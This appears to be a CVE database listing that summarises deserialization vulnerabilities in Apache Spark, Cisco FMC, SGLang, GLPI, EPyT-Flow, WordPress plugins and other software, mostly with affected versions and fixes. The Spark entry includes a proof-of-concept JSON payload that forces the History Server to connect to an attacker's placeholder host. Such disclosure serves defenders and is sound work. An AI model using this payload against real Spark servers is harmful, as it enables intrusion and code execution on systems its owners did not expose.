| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system. |
| A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.
This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root.
Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced. |
| Deserialization of Untrusted Data vulnerability in Crocoblock JetEngine jet-engine allows Object Injection.This issue affects JetEngine: from n/a through < 3.8.4.1. |
| GLPI is an open-source asset and IT management software package that provides ITIL Service Desk features, licenses tracking and software auditing. From 11.0.0 to before 11.0.5, an authenticated technician user can upload a malicious file and trigger its execution through an unsafe PHP instantiation. This vulnerability is fixed in 11.0.5. |
| A deserialization vulnerability in LimeSurvey before v6.15.0+250623 allows a remote attacker to execute arbitrary code on the server. |
| Deserialization of Untrusted Data vulnerability in TotalSuite TotalContest Lite allows Object Injection.This issue affects TotalContest Lite: from n/a through 2.9.1. |
| SGLang's multimodal generation module is vulnerable to unauthenticated remote code execution through the ZMQ broker, which deserializes untrusted data using pickle.loads() without authentication. |
| SGLang' encoder parallel disaggregation system is vulnerable to unauthenticated remote code execution through the disaggregation module, which deserializes untrusted data using pickle.loads() without authentication. |
| A privileged Ignition user, intentionally or otherwise, imports an external file with a specially crafted payload, which executes embedded malicious code. |
| A flaw has been found in Alfresco Activiti up to 7.19/8.8.0. Affected by this issue is the function deserialize/createObjectInputStream of the file activiti-core/activiti-engine/src/main/java/org/activiti/engine/impl/variable/SerializableType.java of the component Process Variable Serialization System. This manipulation causes deserialization. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. |
| The divi-booster WordPress plugin before 5.0.2 does not have authorization and CSRF checks in one of its fixing function, allowing unauthenticated users to modify stored divi-booster WordPress plugin before 5.0.2 options. Furthermore, due to the use of unserialize() on the data, this could be further exploited when combined with a PHP gadget chain to achieve PHP Object Injection |
| Deserialization of Untrusted Data vulnerability in BuddhaThemes ColorFolio - Freelance Designer WordPress Theme allows Object Injection.This issue affects ColorFolio - Freelance Designer WordPress Theme: from n/a through 1.3. |
| Deserialization of Untrusted Data vulnerability in Themeton Zuut allows Object Injection.This issue affects Zuut: from n/a through 1.4.2. |
| Deserialization of Untrusted Data vulnerability in Themeton Finag allows Object Injection.This issue affects Finag: from n/a through 1.5.0. |
| Deserialization of Untrusted Data vulnerability in Membership Software WishList Member X allows Object Injection.This issue affects WishList Member X: from n/a through 3.29.0. |
| BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a deserialization of untrusted data vulnerability in the ASP.NET servlet's VIEWSTATE handling that allows authenticated attackers to execute arbitrary code. Attackers can supply crafted serialized objects to the VIEWSTATE parameter to achieve remote code execution and fully compromise the application. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01. |
| OmniGen2-RL contains an unauthenticated remote code execution vulnerability in the reward server component that allows remote attackers to execute arbitrary commands by sending malicious HTTP POST requests. Attackers can exploit insecure pickle deserialization of request bodies to achieve code execution on the host system running the exposed service. |
| Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. |
| EPyT-Flow is a Python package designed for the easy generation of hydraulic and water quality scenario data of water distribution networks. Prior to 0.16.1, EPyT-Flow’s REST API parses attacker-controlled JSON request bodies using a custom deserializer (my_load_from_json) that supports a type field. When type is present, the deserializer dynamically imports an attacker-specified module/class and instantiates it with attacker-supplied arguments. This allows invoking dangerous classes such as subprocess.Popen, which can lead to OS command execution during JSON parsing. This also affects the loading of JSON files. This vulnerability is fixed in 0.16.1. |
| Deserialization of Untrusted Data vulnerability in ThemeMakers Car Dealer allows Object Injection.This issue affects Car Dealer: from n/a before 1.6.8. |
